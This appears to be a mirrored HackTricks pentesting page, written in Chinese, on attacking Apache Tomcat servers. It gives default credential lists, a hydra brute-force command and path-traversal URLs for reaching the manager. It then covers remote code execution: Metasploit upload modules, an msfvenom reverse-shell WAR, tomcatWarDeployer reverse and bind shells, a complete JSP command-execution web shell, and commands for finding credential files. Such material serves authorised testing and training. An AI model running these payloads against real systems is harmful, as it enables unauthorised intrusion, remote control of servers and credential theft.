mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
240 lines
11 KiB
Markdown
240 lines
11 KiB
Markdown
# Tomcat
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗？ 您想看到您的**公司在HackTricks中做广告**吗？ 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
***
|
||
|
||
## Discovery
|
||
|
||
* 通常运行在**端口8080**
|
||
* **常见的Tomcat错误:**
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
## Enumeration
|
||
|
||
### **版本识别**
|
||
要找到Apache Tomcat的版本，可以执行一个简单的命令：
|
||
```bash
|
||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||
```
|
||
### **管理文件位置**
|
||
识别**`/manager`**和**`/host-manager`**目录的确切位置至关重要，因为它们的名称可能已更改。建议使用暴力搜索来定位这些页面。
|
||
|
||
### **用户名枚举**
|
||
对于早于6版本的Tomcat，可以通过以下方式枚举用户名：
|
||
```bash
|
||
msf> use auxiliary/scanner/http/tomcat_enum
|
||
```
|
||
### **默认凭据**
|
||
**`/manager/html`** 目录特别敏感，因为它允许上传和部署 WAR 文件，这可能导致代码执行。该目录受基本的 HTTP 身份验证保护，常见凭据包括：
|
||
- admin:admin
|
||
- tomcat:tomcat
|
||
- admin:<NOTHING>
|
||
- admin:s3cr3t
|
||
- tomcat:s3cr3t
|
||
- admin:tomcat
|
||
|
||
可以使用以下命令测试这些凭据：
|
||
```bash
|
||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||
```
|
||
另一个值得注意的目录是**`/manager/status`**，它显示了Tomcat和操作系统的版本，有助于识别漏洞。
|
||
|
||
### **暴力破解攻击**
|
||
要尝试对管理目录进行暴力破解攻击，可以使用：
|
||
```bash
|
||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||
```
|
||
## 常见漏洞
|
||
|
||
### **密码回溯泄露**
|
||
访问 `/auth.jsp` 可能会在幸运的情况下显示密码回溯。
|
||
|
||
### **双重URL编码**
|
||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历，通过精心构造的URL可以未经授权访问管理界面。
|
||
|
||
要访问Tomcat管理Web，请转到：`pathTomcat/%252E%252E/manager/html`
|
||
|
||
### /examples
|
||
Apache Tomcat 版本 4.x 到 7.x 包括易受信息泄露和跨站脚本（XSS）攻击影响的示例脚本。这些列出的脚本应该被检查是否存在未经授权访问和潜在利用。查找[更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)。
|
||
|
||
* /examples/jsp/num/numguess.jsp
|
||
* /examples/jsp/dates/date.jsp
|
||
* /examples/jsp/snp/snoop.jsp
|
||
* /examples/jsp/error/error.html
|
||
* /examples/jsp/sessions/carts.html
|
||
* /examples/jsp/checkbox/check.html
|
||
* /examples/jsp/colors/colors.html
|
||
* /examples/jsp/cal/login.html
|
||
* /examples/jsp/include/include.jsp
|
||
* /examples/jsp/forward/forward.jsp
|
||
* /examples/jsp/plugin/plugin.jsp
|
||
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
||
* /examples/jsp/simpletag/foo.jsp
|
||
* /examples/jsp/mail/sendmail.jsp
|
||
* /examples/servlet/HelloWorldExample
|
||
* /examples/servlet/RequestInfoExample
|
||
* /examples/servlet/RequestHeaderExample
|
||
* /examples/servlet/RequestParamExample
|
||
* /examples/servlet/CookieExample
|
||
* /examples/servlet/JndiServlet
|
||
* /examples/servlet/SessionExample
|
||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||
|
||
### **路径遍历利用**
|
||
在一些[Tomcat的**易受配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)中，您可以使用路径 `/..;/` 访问Tomcat中的受保护目录。
|
||
|
||
因此，例如，您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` **访问Tomcat管理器**页面。
|
||
|
||
**另一种**通过此技巧绕过受保护路径的方法是访问 `http://www.vulnerable.com/;param=value/manager/html`
|
||
|
||
## RCE
|
||
|
||
最后，如果您可以访问Tomcat Web应用程序管理器，您可以**上传和部署.war文件（执行代码）**。
|
||
|
||
### 限制
|
||
|
||
只有当您拥有**足够的权限**（角色：**admin**、**manager**和**manager-script**）时，您才能部署WAR。这些详细信息通常在 `/usr/share/tomcat9/etc/tomcat-users.xml` 中定义（在不同版本之间可能有所不同）（请参阅[POST](tomcat.md#post)部分）。
|
||
```bash
|
||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||
|
||
# deploy under "path" context path
|
||
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
||
|
||
# undeploy
|
||
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||
```
|
||
### Metasploit
|
||
|
||
### Metasploit
|
||
```bash
|
||
use exploit/multi/http/tomcat_mgr_upload
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||
```
|
||
### MSFVenom反向Shell
|
||
|
||
1. 创建用于部署的war文件：
|
||
```bash
|
||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||
```
|
||
### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell
|
||
|
||
在某些情况下，这种方法不起作用（例如旧版本的 sun）
|
||
|
||
#### 下载
|
||
```bash
|
||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||
```
|
||
#### 反向 shell
|
||
```bash
|
||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||
```
|
||
#### 绑定 shell
|
||
```bash
|
||
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||
```
|
||
### 使用 [Culsterd](https://github.com/hatRiot/clusterd)
|
||
```bash
|
||
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||
```
|
||
### 手动方法 - Web shell
|
||
|
||
创建名为 **index.jsp** 的文件，并使用以下[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)：
|
||
```java
|
||
<FORM METHOD=GET ACTION='index.jsp'>
|
||
<INPUT name='cmd' type=text>
|
||
<INPUT type=submit value='Run'>
|
||
</FORM>
|
||
<%@ page import="java.io.*" %>
|
||
<%
|
||
String cmd = request.getParameter("cmd");
|
||
String output = "";
|
||
if(cmd != null) {
|
||
String s = null;
|
||
try {
|
||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||
BufferedReader sI = new BufferedReader(new
|
||
InputStreamReader(p.getInputStream()));
|
||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||
} catch(IOException e) { e.printStackTrace(); }
|
||
}
|
||
%>
|
||
<pre><%=output %></pre>
|
||
```
|
||
|
||
```bash
|
||
mkdir webshell
|
||
cp index.jsp webshell
|
||
cd webshell
|
||
jar -cvf ../webshell.war *
|
||
webshell.war is created
|
||
# Upload it
|
||
```
|
||
### 手动方法2
|
||
|
||
获取一个JSP Web shell，比如[这个](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)，并创建一个WAR文件：
|
||
```bash
|
||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||
zip -r backup.war cmd.jsp
|
||
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||
```
|
||
## POST
|
||
|
||
Tomcat凭据文件的名称是 _tomcat-users.xml_
|
||
```bash
|
||
find / -name tomcat-users.xml 2>/dev/null
|
||
```
|
||
其他收集Tomcat凭据的方法：
|
||
```bash
|
||
msf> use post/multi/gather/tomcat_gather
|
||
msf> use post/windows/gather/enum_tomcat
|
||
```
|
||
## 其他Tomcat扫描工具
|
||
|
||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||
|
||
## 参考资料
|
||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||
|
||
|
||
<details>
|
||
|
||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
找到最重要的漏洞，这样您就可以更快地修复它们。Intruder跟踪您的攻击面，运行积极的威胁扫描，发现整个技术堆栈中的问题，从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||
|
||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* 您在**网络安全公司**工作吗？您想看到您的**公司在HackTricks中被广告**吗？或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||
|
||
</details>
|